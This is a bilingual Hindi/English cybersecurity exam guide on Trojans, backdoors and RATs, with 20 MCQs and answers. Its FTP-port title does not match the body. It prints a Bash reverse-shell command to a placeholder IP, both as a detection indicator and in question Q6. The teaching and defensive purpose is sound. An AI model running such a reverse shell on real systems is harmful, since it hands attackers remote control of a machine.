File Transfer Protocol (FTP): Port 20 (Data) and Port 21 (Control) Notes in Hindi : FTP प्रोटोकॉल: पोर्ट 20 (डेटा) और पोर्ट 21 (कंट्रोल कनेक्शन) और 20 महत्वपूर्ण MCQ प्रश्न (Rajasthan IT Exam)

PGDCA, BCA, B-Tech, MCA, M-Tech, B.Sc computer science राजस्थान सूचना सहायक व कंप्यूटर शिक्षक विशेष नोट्स: इस अध्याय में हम Trojan Horses: Backdoors, Remote Access Trojans (RAT) (ट्रोजन हॉर्स (Trojan Horse): बैकडोर, रिमोट एक्सेस ट्रोजन (RAT)) की संपूर्ण थ्योरी, मुख्य तकनीकी बिंदु, तुलनात्मक तालिका और विगत परीक्षाओं के पैटर्न पर आधारित 20 अति-महत्वपूर्ण बहुविकल्पीय प्रश्न (MCQs) विस्तृत हिंदी व अंग्रेजी व्याख्या सहित पढ़ेंगे।

Overview: Trojan Horses disguise malicious payloads inside seemingly legitimate software, relying on user deception or supply-chain compromise rather than autonomous self-replication. Remote Access Trojans (RATs) and stealth backdoors establish persistent outbound reverse shells to grant attackers covert full system control.

अध्याय सार: ट्रोजन हॉर्स वैध दिखने वाले सॉफ्टवेयर के भीतर छिपे दुर्भावनापूर्ण प्रोग्राम होते हैं, जो स्वतः प्रतिकृति बनाने के बजाय उपयोगकर्ता को धोखा देने या सप्लाई-चेन हमले पर निर्भर रहते हैं। Remote Access Trojans (RAT) और बैकडोर सिस्टम में स्थायी आउटबाउंड रिवर्स शेल बनाकर हमलावर को गुप्त रूप से पूरा नियंत्रण प्रदान करते हैं।

Trojan Horses: Backdoors, Remote Access Trojans (RAT): Detailed Notes & Architecture (ट्रोजन हॉर्स (Trojan Horse): बैकडोर, रिमोट एक्सेस ट्रोजन (RAT))

1. Trojan Deception, Double Extensions and Supply-Chain Injection (ट्रोजन का छलावा, डबल एक्सटेंशन और सप्लाई-चेन हमला)

[EN] Named after the wooden horse of Greek mythology, a Trojan Horse does not inject itself into other files (like a Virus) nor scan networks autonomously (like a Worm). Instead, attackers bundle malicious executables inside cracked software, fake browser updates, pirated games, or double-extension email lures such as `salary_slip.pdf.exe` when Windows hides known extensions. Increasingly, advanced adversaries deploy Supply-Chain Trojans by inserting backdoors directly into trusted vendor updates or open-source libraries—demonstrated by the 2020 SolarWinds SUNBURST Orion compromise and the 2024 XZ Utils (`liblzma`) SSH backdoor.

[HI] ग्रीक कथा के लकड़ी के घोड़े की तरह ट्रोजन हॉर्स न तो वायरस की तरह अन्य फाइलों में कोड जोड़ता है और न ही वॉर्म की तरह स्वतः नेटवर्क स्कैन करता है। इसके बजाय हमलावर नकली सॉफ्टवेयर अपडेट, पायरेटेड गेम या `invoice.pdf.exe` जैसी डबल-एक्सटेंशन फाइल के रूप में उपयोगकर्ता को इसे चलाने के लिए भ्रमित करते हैं। आधुनिक अभियानों में सप्लाई-चेन ट्रोजन भी देखे जाते हैं, जहां हमलावर सीधे किसी वैध सॉफ्टवेयर अपडेट (जैसे SolarWinds SUNBURST 2020) या ओपन-सोर्स पैकेज (जैसे XZ Utils 2024) में बैकडोर जोड़ देते हैं।

2. Remote Access Trojans (RATs) and Outbound Reverse-Shell Mechanics (रिमोट एक्सेस ट्रोजन (RAT) और आउटबाउंड रिवर्स-शेल तकनीक)

[EN] A Remote Access Trojan (RAT) installs an administrative agent giving attackers interactive GUI/VNC desktop viewing, command-line shell execution, webcam/microphone surveillance, keylogging, and arbitrary file transfer (classic examples: Back Orifice, Sub7, Poison Ivy, DarkComet, NjRAT). Crucially, modern RATs use Reverse Connection (Reverse Shell) architecture: instead of waiting for inbound connections blocked by NAT routers and stateful firewalls, the compromised endpoint initiates an *outbound* TCP/HTTPS/TLS session on common ports like 443 or 8080 toward the attacker's listening C2 server.

[HI] Remote Access Trojan (RAT) हमलावर को पीड़ित कंप्यूटर पर रिमोट डेस्कटॉप स्क्रीन देखने, कमांड शेल चलाने, वेबकैम/माइक एक्सेस करने और फाइलें चुराने की पूरी क्षमता देता है (जैसे DarkComet, NjRAT, Poison Ivy)। आधुनिक RAT पारंपरिक इनबाउंड कनेक्शन के बजाय Reverse Shell मॉडल अपनाते हैं: पीड़ित मशीन स्वयं भीतर से पोर्ट 443 या 8080 पर हमलावर के C2 सर्वर से *आउटबाउंड* कनेक्शन बनाती है, जिससे NAT और अधिकांश इनबाउंड फ़ायरवॉल नियम आसानी से बाईपास हो जाते हैं।

3. Backdoors, Persistence Mechanisms and DLL Hijacking (बैकडोर, स्थायित्व (Persistence) और DLL हाईजैकिंग)

[EN] A Backdoor bypasses normal OS or application authentication to guarantee future unauthorized entry even after the initial exploit is patched. Once a Trojan drops its backdoor, it establishes survival across system reboots via Windows Registry `Run`/`RunOnce` keys, Scheduled Tasks (`schtasks`), malicious Windows Services, WMI Permanent Event Consumers, or Linux `/etc/cron` and `~/.ssh/authorized_keys` tampering. Attackers also exploit DLL Search-Order Hijacking (`T1574.001`) by dropping a trojanized DLL beside a signed legitimate executable so the OS loads the attacker's library inside a trusted process.

[HI] बैकडोर सामान्य लॉगिन और प्रमाणीकरण को दरकिनार करके भविष्य में पुनः प्रवेश का गुप्त रास्ता खुला रखता है, भले ही शुरुआती सुरक्षा खामी ठीक कर दी जाए। रीबूट के बाद भी बने रहने के लिए ट्रोजन विंडोज रजिस्ट्री की `Run` कुंजियों, Scheduled Tasks, WMI इवेंट सब्सक्रिप्शन या Linux के क्रॉन जॉब और SSH `authorized_keys` में बदलाव करते हैं। कई बार हमलावर DLL Search-Order Hijacking का उपयोग कर किसी वैध हस्ताक्षरित ऐप के बगल में नकली DLL रख देते हैं ताकि वैध प्रोसेस के भीतर ही बैकडोर लोड हो जाए।

4. Hunting and Mitigating Trojans, RATs and Backdoors (ट्रोजन, RAT और बैकडोर की पहचान तथा बचाव)

[EN] Defending against Trojans requires breaking both initial execution and outbound C2 command channels. Controls include configuring Windows Explorer to always display file extensions, enforcing Authenticode code-signing and Application Allowlisting (AppLocker / Windows Defender Application Control), and inspecting startup persistence via Sysinternals `Autoruns`. On the network and endpoint telemetry layer, Sysmon Process Creation logs (Event ID 1) reveal impossible parent-child process chains (e.g., `WINWORD.EXE` spawning `powershell.exe`), while authenticated outbound HTTP proxies and egress firewall rules block unrecognized RAT beacons.

[HI] ट्रोजन से बचाव के लिए शुरुआती निष्पादन और आउटबाउंड C2 चैनल दोनों को रोकना आवश्यक है। इसके लिए फाइल एक्सटेंशन हमेशा दिखाना, AppLocker या WDAC द्वारा केवल हस्ताक्षरित ऐप्स को अनुमति देना और Sysinternals `Autoruns` से स्टार्टअप एंट्री की जांच करना प्रभावी उपाय हैं। नेटवर्क और होस्ट स्तर पर Sysmon (Event ID 1) असामान्य पेरेंट-चाइल्ड प्रोसेस (जैसे `WINWORD.EXE` द्वारा `cmd.exe` चलाना) को पकड़ता है, जबकि ईग्रेस फ़ायरवॉल अनधिकृत आउटबाउंड RAT कनेक्शन ब्लॉक करते हैं।

Syntax, Formula & Technical Example (Trojan Horses: Backdoors, Remote Access Trojans (RAT))

# Hunting Active Reverse-Shell RAT Connections & Registry Persistence (Windows)
# 1. List established outbound connections mapped to owning process & path:
Get-NetTCPConnection -State Established | Select-Object LocalAddress,LocalPort,RemoteAddress,RemotePort,OwningProcess | Format-Table -AutoSize

# 2. Inspect suspicious User/Machine Registry Run keys for Trojan persistence:
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"

# 3. Linux Netcat Reverse Shell Pattern (Indicators hunted by Blue Teams):
# bash -i >& /dev/tcp/198.51.100.44/443 0>&1   # Outbound shell to attacker IP

Trojan Horses: Backdoors, Remote Access Trojans (RAT) Quick Reference & Comparison Table

Trojan Variant	Primary Deception & Objective	Key Exam Characteristic
Remote Access Trojan (RAT)	Grants full covert shell, screen VNC, and file control via C2	Uses outbound Reverse Shell over 443/8080
Banking Trojan (Zeus/Emotet)	Injects fake web forms into browsers to steal financial logins	Uses WebInjects & API hooking in browser
Backdoor Trojan	Creates undocumented authentication bypass for repeat entry	Persists via Registry Run, Services, or PAM
Supply-Chain Trojan	Embeds hidden malware inside trusted vendor updates/packages	Signed with legitimate vendor key (SUNBURST)

Trojan Horses: Backdoors, Remote Access Trojans (RAT) Top 20 Bilingual MCQs with Answers

Q1. Why do modern Remote Access Trojans (RATs) overwhelmingly establish 'Reverse Connections' (outbound from victim to attacker) instead of listening on an open inbound port?

(आधुनिक Remote Access Trojans (RATs) खुले इनबाउंड पोर्ट पर प्रतीक्षा करने के बजाय पीड़ित से हमलावर की ओर 'रिवर्स कनेक्शन' (आउटबाउंड) क्यों बनाते हैं?)

(A) Reverse connections physically bypass the need for an operating system kernel

(B) Inbound TCP packets cannot carry binary files larger than 64 bytes

(C) Outbound connections on ports like 443 bypass NAT translation and stateful perimeter firewalls that block unsolicited inbound traffic

(D) Reverse shells automatically encrypt all hard drives using BitLocker

Correct Answer: (C)

[EN] Home routers (NAT) and enterprise firewalls strictly block unsolicited incoming connections, whereas outbound TCP 80/443 traffic from internal users is normally allowed.

[HI] NAT राउटर और स्टेटफुल फ़ायरवॉल बाहर से आने वाले अनचाहे इनबाउंड कनेक्शन को रोकते हैं, जबकि भीतर से पोर्ट 443 पर जाने वाले आउटबाउंड ट्रैफिक की आमतौर पर अनुमति होती है।

Q2. What file-naming trick do attackers frequently exploit on default Windows configurations to disguise a Trojan executable as a benign document?

(डिफ़ॉल्ट विंडोज सेटिंग्स का फायदा उठाकर हमलावर किसी ट्रोजन `.exe` फाइल को सामान्य दस्तावेज जैसा दिखाने के लिए किस नामकरण चाल का उपयोग करते हैं?)

(A) Double-extension naming like `Annual_Report.pdf.exe` (or Unicode Right-to-Left Override `RLO`) while known extensions are hidden

(B) Appending 1,000 spaces before `.com` to disable NTFS permissions

(C) Renaming the file to `con` or `nul` on FAT12

(D) Converting the `.exe` header into an HTTP/2 cookie

Correct Answer: (A)

[EN] When Windows Explorer hides known extensions by default, `Annual_Report.pdf.exe` renders visually as `Annual_Report.pdf` alongside a spoofed PDF icon.

[HI] विंडोज डिफ़ॉल्ट रूप से ज्ञात फाइल एक्सटेंशन छिपाता है, जिससे `Annual_Report.pdf.exe` यूजर को केवल `Annual_Report.pdf` जैसा दिखाई देता है।

Q3. Which 2020 cyber incident exemplifies a Supply-Chain Trojan where adversaries compromised a vendor's build pipeline to ship digitally signed trojanized updates to ~18,000 organizations?

(2020 की कौन सी प्रसिद्ध घटना सप्लाई-चेन ट्रोजन का उदाहरण है जिसमें हमलावरों ने विक्रेता की बिल्ड प्रणाली में घुसकर डिजिटल रूप से हस्ताक्षरित अपडेट में मैलवेयर भेजा?)

(A) SolarWinds Orion SUNBURST attack

(B) 2003 SQL Slammer UDP worm

(C) 1999 Melissa Word Macro outbreak

(D) 1986 Brain Floppy Boot Sector Virus

Correct Answer: (A)

[EN] Attackers injected the SUNBURST backdoor into `SolarWinds.Orion.BusinessLayer.dll` prior to digital signing, distributing a trusted Trojan update globally.

[HI] SolarWinds SUNBURST हमले में हमलावरों ने वैध सॉफ्टवेयर बिल्ड प्रक्रिया में ही बैकडोर DLL जोड़ दिया था जिस पर कंपनी का असली डिजिटल सिग्नेचर मौजूद था।

Q4. In Windows Persistence hunting, which Registry hive and subkey runs malicious Trojan commands automatically for the currently logged-in user upon every logon?

(विंडोज में परसिस्टेंस जांचते समय कौन सी रजिस्ट्री कुंजी वर्तमान लॉग-इन उपयोगकर्ता के हर लॉगिन पर ट्रोजन को स्वचालित रूप से चलाती है?)

(A) `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`

(B) `HKCR\.txt\ShellNew`

(C) `HKCU\Control Panel\Colors`

(D) `HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor`

Correct Answer: (A)

[EN] `HKCU\...\CurrentVersion\Run` (and `HKLM\...\Run` machine-wide) executes listed paths automatically at logon without needing Administrator privileges for `HKCU`.

[HI] `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` बिना एडमिन अधिकार के भी उपयोगकर्ता के लॉगिन करते ही सूचीबद्ध प्रोग्राम को स्वचालित रूप से चला देता है।

Q5. How does 'DLL Search-Order Hijacking' (MITRE ATT&CK `T1574.001`) let a Trojan execute inside a trusted signed Windows application?

('DLL Search-Order Hijacking' (`T1574.001`) किसी ट्रोजन को एक विश्वसनीय व हस्ताक्षरित विंडोज एप्लिकेशन के भीतर चलने की अनुमति कैसे देता है?)

(A) It modifies the CPU BIOS microcode to ignore `.exe` files

(B) It replaces TCP sequence numbers with Windows DLL pointers

(C) It forces DNS resolvers to return DLL binary data in MX records

(D) The attacker places a malicious DLL with an expected name in the application's working directory so Windows loads it before checking `System32`

Correct Answer: (D)

[EN] When an application fails to specify a full DLL path, Windows checks the application directory prior to `System32`, loading the attacker's trojanized DLL.

[HI] यदि कोई ऐप DLL का पूरा पाथ न दे, तो विंडोज `System32` से पहले ऐप के अपने फोल्डर में DLL ढूंढता है; हमलावर वहीं नकली DLL रखकर कोड चला लेते हैं।

Q6. Which Linux command `bash -i >& /dev/tcp/198.51.100.44/443 0>&1` observed in process telemetry represents what Trojan/RAT behavior?

(लिनक्स प्रोसेस लॉग में दिखने वाला कमांड `bash -i >& /dev/tcp/198.51.100.44/443 0>&1` ट्रोजन/RAT के किस व्यवहार को दर्शाता है?)

(A) Testing local loopback ping latency on port 443

(B) Opening an interactive Bash reverse shell over TCP port 443 to an external attacker IP

(C) Backing up `/etc/passwd` locally to `/dev/null`

(D) Updating Ubuntu kernel security patches over HTTPS

Correct Answer: (B)

[EN] Bash's `/dev/tcp/IP/PORT` pseudo-device redirects `stdin`, `stdout`, and `stderr` across a TCP socket back to the remote C2 listener.

[HI] यह कमांड बाश शेल के मानक इनपुट/आउटपुट को TCP पोर्ट 443 के जरिए बाहरी हमलावर IP (`198.51.100.44`) से जोड़कर रिवर्स शेल प्रदान करता है।

Q7. Which parent-child process tree logged by Sysmon Event ID 1 is the strongest immediate indicator of a Trojanized document or RAT execution?

(Sysmon Event ID 1 द्वारा दर्ज की गई निम्नलिखित में से कौन सी पेरेंट-चाइल्ड प्रोसेस श्रृंखला ट्रोजन दस्तावेज या RAT निष्पादन का सबसे प्रबल संकेत है?)

(A) `services.exe` -> `svchost.exe`

(B) `chrome.exe` -> `chrome.exe` (renderer sandbox)

(C) `winword.exe` -> `cmd.exe` -> `powershell.exe`

(D) `explorer.exe` -> `notepad.exe`

Correct Answer: (C)

[EN] Legitimate Word documents rarely spawn command interpreters like `cmd.exe` or `powershell.exe`; this chain strongly signals macro-dropped Trojans or shells.

[HI] सामान्य Word दस्तावेज कभी भी `cmd.exe` या `powershell.exe` नहीं चलाते; `winword.exe` से शेल प्रोसेस निकलना ट्रोजन हमले का स्पष्ट प्रमाण है।

Q8. How does a Banking Trojan such as Zeus or SpyEye steal credentials even when the victim connects to their genuine bank over valid HTTPS?

(Zeus या SpyEye जैसे बैंकिंग ट्रोजन वैध HTTPS कनेक्शन होने के बावजूद उपयोगकर्ता के बैंकिंग क्रेडेंशियल कैसे चुरा लेते हैं?)

(A) By hooking browser APIs (`HttpSendRequest`/`PR_Write`) inside memory to capture data and inject fake fields before TLS encryption happens

(B) By converting the user's TLS certificate into an unencrypted ZIP file

(C) By unplugging the bank's core fiber-optic cables

(D) By breaking 2048-bit RSA keys via brute force in 2 milliseconds

Correct Answer: (A)

[EN] Because the Trojan sits inside the victim's browser process (Man-in-the-Browser / MitB), it intercepts plaintext keystrokes and DOM forms prior to TLS wrapping.

[HI] बैंकिंग ट्रोजन ब्राउज़र प्रोसेस के भीतर ही (Man-in-the-Browser) API हुक लगाकर TLS एन्क्रिप्शन से ठीक पहले प्लेनटेक्स्ट डेटा और पासवर्ड पढ़ लेते हैं।

Q9. Which statement is NOT true regarding Trojan Horses?

(ट्रोजन हॉर्स (Trojan Horse) के संदर्भ में निम्नलिखित में से कौन सा कथन सत्य नहीं है?)

(A) A classic Trojan masquerades as legitimate software such as a free utility, game crack, or fake PDF viewer

(B) Remote Access Trojans provide attackers interactive command shells, keylogging, and screen capture

(C) Trojan horses autonomously scan external IP ranges and self-replicate across unpatched network ports without user or supply-chain delivery

(D) Sysinternals Autoruns helps administrators uncover Trojan persistence in Registry Run keys and Scheduled Tasks

Correct Answer: (C)

[EN] Autonomous network scanning and self-replication belong to Worms—not Trojans, which depend on deception or compromised delivery channels.

[HI] स्वतः नेटवर्क स्कैन करना और अपनी प्रतिलिपि फैलाना वॉर्म का गुण है, ट्रोजन का नहीं; ट्रोजन धोखे या सप्लाई-चेन के जरिए सिस्टम में पहुंचता है।

Q10. In 2024, the discovered XZ Utils (`liblzma` 5.6.0/5.6.1) backdoor targeted which critical Linux authentication daemon via `systemd` library linking?

(2024 में खोजे गए XZ Utils (`liblzma` 5.6.0/5.6.1) सप्लाई-चेन बैकडोर ने किस महत्वपूर्ण लिनक्स प्रमाणीकरण सेवा को निशाना बनाया था?)

(A) OpenSSH server daemon (`sshd`) allowing unauthorized remote code execution via a crafted Ed448-signed payload

(B) Apache HTTP static file server (`httpd`) only

(C) Local printer spooler (`cupsd`)

(D) Linux swap partition formatting utility (`mkswap`)

Correct Answer: (A)

[EN] A multi-year social-engineered maintainer planted obfuscated test files in `liblzma` that hooked `RSA_public_decrypt` inside `sshd` when linked via `systemd`.

[HI] XZ Utils में छिपे इस सप्लाई-चेन बैकडोर ने `systemd` लिंकिंग के जरिए `sshd` के भीतर अनधिकृत रिमोट कोड निष्पादन का रास्ता तैयार किया था।

Q11. Which Sysinternals utility provides defenders the most comprehensive view of Windows auto-start Trojan persistence across Registry Run keys, Services, Scheduled Tasks, WMI, and Browser Extensions?

(कौन सा Sysinternals टूल रजिस्ट्री Run कुंजियों, सेवाओं, Scheduled Tasks और WMI सहित सभी विंडोज स्टार्टअप परसिस्टेंस स्थानों की एक साथ जांच करता है?)

(A) Disk2vhd

(B) Autoruns

(C) Contig

(D) BgInfo

Correct Answer: (B)

[EN] Sysinternals `Autoruns` enumerates over a hundred Windows autostart extensibility points (ASEPs) and verifies Authenticode signatures against Microsoft/VirusTotal.

[HI] `Autoruns` विंडोज के सैकड़ों ऑटो-स्टार्ट स्थानों की जांच करता है और संदिग्ध बिना-हस्ताक्षर वाले ट्रोजन प्रोग्राम को तुरंत चिह्नित करता है।

Q12. What distinguishes a 'Backdoor' planted by a developer or attacker from an ordinary software bug?

(डेवलपर या हमलावर द्वारा छोड़े गए 'बैकडोर' (Backdoor) और एक सामान्य सॉफ्टवेयर बग में क्या अंतर होता है?)

(A) A backdoor can never operate over TCP/IP networks

(B) A backdoor is an intentional hidden mechanism designed to bypass normal authentication or access controls

(C) A backdoor always deletes the operating system within 5 seconds

(D) A backdoor occurs strictly from hardware RAM cosmic-ray bit flips

Correct Answer: (B)

[EN] Unlike accidental vulnerabilities (buffer overflows or logic bugs), backdoors—whether maliciously implanted or forgotten debug logins—deliberately bypass auth.

[HI] सामान्य बग अनजाने में हुई कोडिंग त्रुटि है, जबकि बैकडोर जानबूझकर बनाया गया गुप्त प्रवेश मार्ग है जो सामान्य प्रमाणीकरण को दरकिनार करता है।

Q13. What security role does Microsoft Windows Defender Application Control (WDAC) or AppLocker serve against Trojan attachments?

(ईमेल से आने वाले ट्रोजन अटैचमेंट के विरुद्ध Microsoft WDAC या AppLocker किस प्रकार सुरक्षा प्रदान करते हैं?)

(A) Application Allowlisting blocks unsigned or untrusted executables from user `%TEMP%` or `Downloads` folders from ever launching

(B) They forward all outgoing emails to random public relays

(C) They automatically pay attackers to unlock infected machines

(D) They compress `.exe` attachments into MP3 audio streams

Correct Answer: (A)

[EN] Even if a user double-clicks `invoice.pdf.exe` in `Downloads`, allowlisting denies execution unless the binary matches an approved path, hash, or publisher certificate.

[HI] यदि उपयोगकर्ता गलती से `Downloads` से ट्रोजन चला भी दे, तो Application Allowlisting बिना विश्वसनीय डिजिटल हस्ताक्षर या स्वीकृत पाथ वाले प्रोग्राम को चलने ही नहीं देती।

Q14. During forensic inspection of an infected host, an analyst runs `Get-NetTCPConnection -State Established` and finds `svchost.exe` running out of `C:\Users\Public\svchost.exe` connected to port 4444 abroad. What does this indicate?

(जांच में `C:\Users\Public\svchost.exe` से चलती प्रक्रिया पोर्ट 4444 पर बाहरी IP से जुड़ी मिलती है। यह क्या दर्शाता है?)

(A) Healthy NTFS disk defragmentation activity

(B) Standard local DNS loopback name resolution

(C) A masquerading Trojan/RAT process imitating a legitimate Windows binary (`System32\svchost.exe`) while running a reverse C2 channel

(D) Normal Microsoft Windows Update peer-to-peer delivery

Correct Answer: (C)

[EN] Genuine `svchost.exe` resides strictly inside `C:\Windows\System32\`; executing from `C:\Users\Public\` and connecting on port 4444 (Metasploit default) confirms a RAT/Trojan.

[HI] असली `svchost.exe` केवल `C:\Windows\System32\` से चलता है; `Users\Public` से चलना और पोर्ट 4444 पर बाहरी कनेक्शन स्पष्ट रूप से RAT/ट्रोजन है।

Q15. Which classic 1998 Trojan tool created by the Cult of the Dead Cow (cDc) popularized Remote Access Trojans on Windows 95/98 systems?

(1998 में Cult of the Dead Cow (cDc) द्वारा जारी कौन सा प्रसिद्ध टूल Windows 95/98 सिस्टम पर Remote Access Trojans को चर्चित करने के लिए जाना जाता है?)

(A) Code Red II

(B) ILOVEYOU

(C) Back Orifice

(D) Conficker

Correct Answer: (C)

[EN] Back Orifice (named as a parody of Microsoft BackOffice) demonstrated how easily remote attackers could control unauthenticated Windows desktops over UDP/TCP.

[HI] Back Orifice (1998) एक चर्चित प्रारंभिक रिमोट एडमिनिस्ट्रेशन/RAT टूल था जिसने विंडोज डेस्कटॉप पर रिमोट नियंत्रण के खतरों को उजागर किया।

Q16. Why can a RAT using encrypted HTTPS (TLS on port 443) evade basic signature-only IDS appliances?

(पोर्ट 443 पर एन्क्रिप्टेड HTTPS (TLS) का उपयोग करने वाला RAT केवल सिग्नेचर-आधारित बेसिक IDS को कैसे चकमा दे सकता है?)

(A) IDS devices only analyze UDP port 67 DHCP broadcasts

(B) HTTPS packets skip IP headers completely

(C) Payload bytes inside TLS are encrypted so plain packet inspection cannot read C2 commands without TLS interception or JA3/metadata analysis

(D) Port 443 disables all firewall logging hardware automatically

Correct Answer: (C)

[EN] Encrypted C2 channels hide command payloads from plain DPI; defenders rely on TLS decryption proxies, JA3/JA4 TLS client fingerprints, and DNS/beaconing periodicity.

[HI] TLS के कारण नेटवर्क पर कमांड एन्क्रिप्टेड रहते हैं; इसलिए इनकी पहचान के लिए TLS निरीक्षण, JA3 फिंगरप्रिंट या बीकनिंग पैटर्न विश्लेषण की जरूरत होती है।

Q17. Within Trojan Horses: Backdoors, Remote Access Trojans (RAT), which trojan variant directly maps to: "Grants full covert shell, screen VNC, and file control via C2"?

(Trojan Horses: Backdoors, Remote Access Trojans (RAT) में कौन सा Trojan Variant सीधे "Grants full covert shell, screen VNC, and file control via C2" से संबंधित है?)

(A) Banking Trojan (Zeus/Emotet)

(B) Remote Access Trojan (RAT)

(C) Supply-Chain Trojan

(D) Backdoor Trojan

Correct Answer: (B)

[EN] In Trojan Horses: Backdoors, Remote Access Trojans (RAT), 'Remote Access Trojan (RAT)' handles 'Grants full covert shell, screen VNC, and file control via C2' (Uses outbound Reverse Shell over 443/8080).

[HI] Trojan Horses: Backdoors, Remote Access Trojans (RAT) में 'Remote Access Trojan (RAT)' का कार्य/विवरण 'Grants full covert shell, screen VNC, and file control via C2' (Uses outbound Reverse Shell over 443/8080) है।

Q18. Which option accurately describes 'Banking Trojan (Zeus/Emotet)' in Trojan Horses: Backdoors, Remote Access Trojans (RAT)?

(Trojan Horses: Backdoors, Remote Access Trojans (RAT) के संदर्भ में 'Banking Trojan (Zeus/Emotet)' की सही विशेषता कौन सी है?)

(A) Embeds hidden malware inside trusted vendor updates/packages

(B) Grants full covert shell, screen VNC, and file control via C2

(C) Injects fake web forms into browsers to steal financial logins

(D) Creates undocumented authentication bypass for repeat entry

Correct Answer: (C)

[EN] 'Banking Trojan (Zeus/Emotet)' provides 'Injects fake web forms into browsers to steal financial logins' — key point: Uses WebInjects & API hooking in browser.

[HI] 'Banking Trojan (Zeus/Emotet)' का मुख्य विवरण 'Injects fake web forms into browsers to steal financial logins' है (Uses WebInjects & API hooking in browser)।

Q19. In Trojan Horses: Backdoors, Remote Access Trojans (RAT), identify the correct parameter for the specification: "Creates undocumented authentication bypass for repeat entry".

(Trojan Horses: Backdoors, Remote Access Trojans (RAT) में "Creates undocumented authentication bypass for repeat entry" विवरण किस विकल्प के लिए सही है?)

(A) Supply-Chain Trojan

(B) Remote Access Trojan (RAT)

(C) Backdoor Trojan

(D) Banking Trojan (Zeus/Emotet)

Correct Answer: (C)

[EN] 'Backdoor Trojan' corresponds to 'Creates undocumented authentication bypass for repeat entry' (Persists via Registry Run, Services, or PAM).

[HI] 'Backdoor Trojan' का संबंध 'Creates undocumented authentication bypass for repeat entry' (Persists via Registry Run, Services, or PAM) से है।

Q20. Considering Trojan Horses: Backdoors, Remote Access Trojans (RAT), what key behavior defines 'Supply-Chain Trojan'?

(Trojan Horses: Backdoors, Remote Access Trojans (RAT) में 'Supply-Chain Trojan' की मुख्य भूमिका या मान क्या है?)

(A) Grants full covert shell, screen VNC, and file control via C2

(B) Creates undocumented authentication bypass for repeat entry

(C) Injects fake web forms into browsers to steal financial logins

(D) Embeds hidden malware inside trusted vendor updates/packages

Correct Answer: (D)

[EN] 'Supply-Chain Trojan' represents 'Embeds hidden malware inside trusted vendor updates/packages' (Signed with legitimate vendor key (SUNBURST)).

[HI] 'Supply-Chain Trojan' का अर्थ/मान 'Embeds hidden malware inside trusted vendor updates/packages' है (Signed with legitimate vendor key (SUNBURST))।

Trojan Horses: Backdoors, Remote Access Trojans (RAT) — Exam FAQs

Q1: What is the key difference between a Trojan Horse and a Computer Virus?

ट्रोजन हॉर्स (Trojan Horse) और कंप्यूटर वायरस (Computer Virus) के बीच मुख्य अंतर क्या है?

[EN] A Computer Virus attaches itself to existing host files or boot sectors and replicates from file to file. A Trojan Horse does NOT replicate itself or infect other binaries—instead, it pretends to be a harmless or useful program so the user voluntarily runs it, triggering a hidden backdoor or RAT.

[HI] कंप्यूटर वायरस वैध फाइलों या बूट सेक्टर से जुड़कर अपनी प्रतियां बनाता है। इसके विपरीत ट्रोजन हॉर्स खुद की प्रतिलिपि नहीं बनाता; वह किसी उपयोगी प्रोग्राम का रूप धरकर उपयोगकर्ता से खुद को चलवाता है और बैकग्राउंड में बैकडोर या RAT सक्रिय कर देता है।

Q2: How do attackers use Reverse Shells inside a RAT to bypass corporate firewalls?

कॉर्पोरेट फ़ायरवॉल को चकमा देने के लिए RAT में रिवर्स शेल (Reverse Shell) का उपयोग कैसे किया जाता है?

[EN] Firewalls typically block unsolicited incoming connections from the internet to internal desktops. A Reverse Shell reverses the direction: the infected internal machine initiates an *outbound* connection on an allowed port like TCP 443 to the attacker's server, letting commands flow back through that established session.

[HI] फ़ायरवॉल बाहर से आने वाले इनबाउंड कनेक्शन को रोकते हैं, लेकिन अंदर से पोर्ट 443 (HTTPS) पर जाने वाले आउटबाउंड ट्रैफिक की अनुमति देते हैं। रिवर्स शेल में पीड़ित मशीन खुद बाहर हमलावर के सर्वर से जुड़ती है, जिससे हमलावर उसी खुले सत्र से कमांड दे पाता है।

Q3: If a Trojan executes once and I delete the downloaded installer `.exe`, am I completely safe?

यदि मैंने डाउनलोड किया हुआ ट्रोजन इंस्टॉलर `.exe` एक बार चलाने के बाद डिलीट कर दिया, तो क्या सिस्टम पूरी तरह सुरक्षित हो जाता है?

[EN] Usually no; once executed, a Trojan typically copies itself into hidden directories (`%APPDATA%`, `ProgramData`), registers Registry `Run` keys or Scheduled Tasks for persistence, or injects into legitimate processes—so deleting the original installer does not remove the active backdoor.

[HI] आमतौर पर नहीं; एक बार चलने पर ट्रोजन खुद को `%APPDATA%` में कॉपी कर लेता है, रजिस्ट्री `Run` कुंजियों या Scheduled Tasks में स्थायित्व बना लेता है और वैध प्रोसेस में इंजेक्ट हो जाता है। इसलिए मूल इंस्टॉलर डिलीट करने से सक्रिय बैकडोर नहीं हटता।

Cyber Security